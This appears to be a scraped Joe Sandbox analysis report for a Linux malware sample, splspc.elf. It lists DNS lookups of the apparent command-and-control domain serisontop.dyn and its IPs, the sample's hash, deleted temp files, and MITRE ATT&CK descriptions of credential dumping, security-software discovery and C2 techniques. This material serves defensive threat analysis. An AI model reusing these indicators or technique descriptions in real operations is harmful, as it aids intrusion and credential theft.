Dec 24, 2024 04:16:46.472759962 CET	194.36.144.87	192.168.2.15	0xb657	No error (0)	serisontop.dyn		154.216.16.244	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:16:46.472759962 CET	194.36.144.87	192.168.2.15	0xb657	No error (0)	serisontop.dyn		154.216.16.250	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:16:46.472759962 CET	194.36.144.87	192.168.2.15	0xb657	No error (0)	serisontop.dyn		209.38.192.73	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:16:58.008882046 CET	168.235.111.72	192.168.2.15	0x6e68	No error (0)	serisontop.dyn		154.216.16.250	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:16:58.008882046 CET	168.235.111.72	192.168.2.15	0x6e68	No error (0)	serisontop.dyn		154.216.16.244	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:16:58.008882046 CET	168.235.111.72	192.168.2.15	0x6e68	No error (0)	serisontop.dyn		209.38.192.73	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:17:09.847208023 CET	185.181.61.24	192.168.2.15	0x1977	No error (0)	serisontop.dyn		209.38.192.73	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:17:09.847208023 CET	185.181.61.24	192.168.2.15	0x1977	No error (0)	serisontop.dyn		154.216.16.244	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:17:09.847208023 CET	185.181.61.24	192.168.2.15	0x1977	No error (0)	serisontop.dyn		154.216.16.250	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:17:32.907366037 CET	185.181.61.24	192.168.2.15	0x5e7b	No error (0)	serisontop.dyn		209.38.192.73	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:17:32.907366037 CET	185.181.61.24	192.168.2.15	0x5e7b	No error (0)	serisontop.dyn		154.216.16.250	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:17:32.907366037 CET	185.181.61.24	192.168.2.15	0x5e7b	No error (0)	serisontop.dyn		154.216.16.244	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:17:44.392482996 CET	194.36.144.87	192.168.2.15	0x6520	No error (0)	serisontop.dyn		154.216.16.244	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:17:44.392482996 CET	194.36.144.87	192.168.2.15	0x6520	No error (0)	serisontop.dyn		154.216.16.250	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:17:44.392482996 CET	194.36.144.87	192.168.2.15	0x6520	No error (0)	serisontop.dyn		209.38.192.73	A (IP address)	IN (0x0001)	false

Start time (UTC):	03:15:46
Start date (UTC):	24/12/2024
Path:	/tmp/splspc.elf
Arguments:	/tmp/splspc.elf
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report splspc.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0megF0 (deleted)

/tmp/qemu-open.14P7RX (deleted)

/tmp/qemu-open.2ydXZX (deleted)

/tmp/qemu-open.4fFATY (deleted)

/tmp/qemu-open.4uY2GX (deleted)

/tmp/qemu-open.4ylBVW (deleted)

/tmp/qemu-open.5h6YyX (deleted)

/tmp/qemu-open.6RSxLY (deleted)

/tmp/qemu-open.74vfDZ (deleted)

/tmp/qemu-open.8I4cPX (deleted)

/tmp/qemu-open.8bfMKX (deleted)

/tmp/qemu-open.9u5DPW (deleted)

/tmp/qemu-open.AIWDB0 (deleted)

/tmp/qemu-open.AJNCHW (deleted)

/tmp/qemu-open.AdwmLW (deleted)

/tmp/qemu-open.AtBVUW (deleted)

/tmp/qemu-open.B09yXZ (deleted)

/tmp/qemu-open.BBdF8Z (deleted)

/tmp/qemu-open.BLHDPZ (deleted)

/tmp/qemu-open.C81S9X (deleted)

/tmp/qemu-open.CoE0NY (deleted)

/tmp/qemu-open.EsraNW (deleted)

/tmp/qemu-open.G6WhA0 (deleted)

/tmp/qemu-open.H2fzAY (deleted)

/tmp/qemu-open.HGEqsY (deleted)

/tmp/qemu-open.HickH0 (deleted)

/tmp/qemu-open.IJv0yW (deleted)

/tmp/qemu-open.Id7eq0 (deleted)

/tmp/qemu-open.MGZQGX (deleted)

/tmp/qemu-open.MJdXsW (deleted)

/tmp/qemu-open.NjF3SX (deleted)

/tmp/qemu-open.NyinrY (deleted)

Linux Analysis Report
splspc.elf

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre